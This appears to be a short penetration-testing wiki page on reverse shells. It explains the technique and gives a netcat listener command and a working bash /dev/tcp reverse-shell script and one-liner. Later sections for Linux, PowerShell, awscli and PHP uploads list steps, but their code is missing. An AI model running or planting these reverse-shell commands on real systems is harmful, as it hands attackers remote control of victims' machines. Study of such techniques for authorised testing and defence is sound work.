Reverse Shell

A Reverse Shell is a technique used to gain remote access to a victim's system by making the target machine initiate a connection back to the attacker. Unlike a traditional shell, this allows the target to "call back" to the attacker’s machine.

Reverse shells are commonly used in penetration testing and hacking scenarios to maintain access, control compromised systems, and perform further exploitation.

Here are some scripts that can be used to create a reverse shell for various scenarios:

Basic script

  • Establish a listener port on the host machine with Netcat

nc -nlvp $port     #An arbitrary port 

  • Use a script to send the remote shell to the listening port

RevShell.sh
#!/bin/bash
bash -i >& /dev/tcp/$ip/$port 0>&1
  • $port is the port listening with netcat and $ip our IP

  • If you are using a VPN $ip is the IP given to us by the VPN


  • It can also be inserted as a command call from a terminal

bash -c "bash -i >& /dev/tcp/$ip/$port 0>&1"

For Linux hosts

  • Establish a listener port on the host machine with Netcat


  • Use a script to send the remote shell to the listening port


  • Another alternative can be used directly in a command line

For PowerShell on Windows hosts

  • Establish a listener port on the host machine with Netcat


  • The command for getting the shell


  • An alternative

For awscli

  • Check if we have remote command execution


  • Create a bash file with the payload


  • Establish a listener port on the host machine with Netcat


  • Create a server with Python


  • Use the curl command from the local server to get the reverse shell file and pass it to the bash of the machine

For PHP

  • On an upload option from a PHP-based page, submit the following script


  • Establish a listener port on the host machine with Netcat


  • Call the file from the browser and check if the shell was caught by the Netcat listener

Last updated